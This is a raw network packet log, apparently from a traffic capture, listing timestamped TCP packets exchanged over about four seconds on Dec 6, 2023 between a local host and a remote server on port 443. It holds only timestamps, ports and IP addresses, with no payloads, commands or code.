Dec 6, 2023 14:51:47.727241039 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.727288008 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.727442980 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.727442980 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.727473974 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.727523088 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.768980026 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.769021988 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.769073963 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.769094944 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.769128084 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.769155979 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.863204956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.863249063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.863320112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.863343000 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.863363028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.863389015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.921878099 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.921952963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.922008991 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.922025919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:47.922076941 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:47.922096014 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.001635075 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.001708031 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.001893997 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.001914978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.001964092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.060697079 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.060803890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.060857058 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.060873032 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.060930967 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.127521992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.127603054 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.127682924 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.127697945 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.127754927 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.182624102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.182687998 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.182743073 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.182760954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.182811022 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.265367985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.265439034 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.265496969 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.265515089 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.265547991 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.265572071 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.347356081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.347420931 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.347618103 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.347618103 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.347642899 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.347697020 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.401349068 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.401422977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.401453018 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.401465893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.401509047 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.459270000 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.459336996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.459389925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.459403038 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.459455967 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.541378021 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.541445017 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.541527987 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.541546106 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.541584015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.541605949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.623658895 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.623724937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.623785973 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.623802900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.623855114 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.664812088 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.664874077 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.664927959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.664944887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.664979935 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.665008068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.721029997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.721076965 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.721178055 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.721184969 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.721298933 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.802912951 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.802968979 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.803262949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.803278923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.803503990 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.845899105 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.845947981 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.846030951 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.846040010 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.846172094 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.941097975 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.941157103 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.941337109 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.941354036 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.941421032 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.982496977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.982557058 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.982697010 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:48.982708931 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:48.982913971 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.024849892 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.024894953 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.025051117 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.025058985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.025171041 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.121750116 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.121798992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.122167110 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.122174978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.122250080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.162015915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.162060022 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.162211895 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.162221909 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.162333965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.203743935 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.203788996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.204039097 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.204049110 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.204121113 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.262427092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.262468100 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.262592077 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.262600899 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.262804031 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.494158983 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494224072 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494327068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.494337082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494358063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494406939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494482994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.494489908 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494523048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494560003 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494606972 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.494612932 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.494721889 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.521759033 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.521812916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.521905899 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.521914005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.522007942 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.607070923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.607173920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.607212067 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.607222080 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.607255936 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.607280970 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.661468983 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.661516905 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.661700010 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.661710978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.661772013 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.721743107 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.721785069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.721863985 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.721883059 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.721911907 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.721935987 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.842514038 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.842546940 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.842679024 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.842727900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.842773914 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.882575035 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.882616997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.882709026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.882740021 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.882765055 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.882787943 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.969346046 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.969393015 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.969448090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:49.969464064 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:49.969674110 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.023324966 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.023374081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.023471117 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.023490906 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.023670912 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.080888033 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.080919981 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.081012011 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.081028938 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.081079960 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.161371946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.161412954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.161531925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.161555052 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.161603928 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.202541113 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.202593088 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.202651024 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.202678919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.202709913 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.202735901 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.282828093 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.282872915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.282923937 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.282936096 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.282991886 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.342375040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.342396975 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.342498064 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.342509031 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.342552900 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.420321941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.420367956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.420459986 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.420473099 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.420557022 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.461817026 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.461841106 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.461900949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.461910009 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.461972952 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.521943092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.521997929 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.522092104 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.522104025 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.522133112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.522160053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.602577925 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.602646112 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.602701902 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.602711916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.602776051 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.643254995 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.643279076 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.643368959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.643378973 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.643429995 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.702769995 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.702820063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.702874899 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.702883005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.702943087 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.782095909 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.782180071 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.782294989 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.782316923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.782336950 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.782362938 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.823790073 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.823843956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.823954105 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.823968887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.824157953 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.881683111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.881732941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.881803989 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.881822109 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.881869078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.961150885 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.961194992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.961302042 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:50.961314917 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:50.961368084 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.002490997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.002538919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.002587080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.002604008 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.002650976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.060627937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.060650110 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.060766935 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.060787916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.060838938 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.101958990 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.102054119 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.102129936 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.102138996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.102205038 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.182780027 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.182826042 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.183037996 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.183037996 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.183064938 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.183118105 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.425900936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.425961971 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426023960 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426042080 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426081896 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426106930 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426114082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426141977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426146030 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426175117 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426181078 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426224947 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426248074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426261902 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426269054 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426315069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426321983 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426341057 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426384926 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426413059 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426781893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426820993 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426876068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.426881075 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.426938057 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.510902882 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.510957956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.511075974 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.511087894 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.511122942 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.511148930 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.583739042 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.583786011 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.583925009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.583937883 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.584002972 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.649928093 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.649977922 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.650091887 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.650099993 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.650151014 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.650180101 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.723524094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.723571062 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.723716021 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.723740101 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.723790884 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.829435110 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.829478979 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.829562902 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.829576015 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.829638958 CET	49717	443	192.168.2.5	185.23.108.224
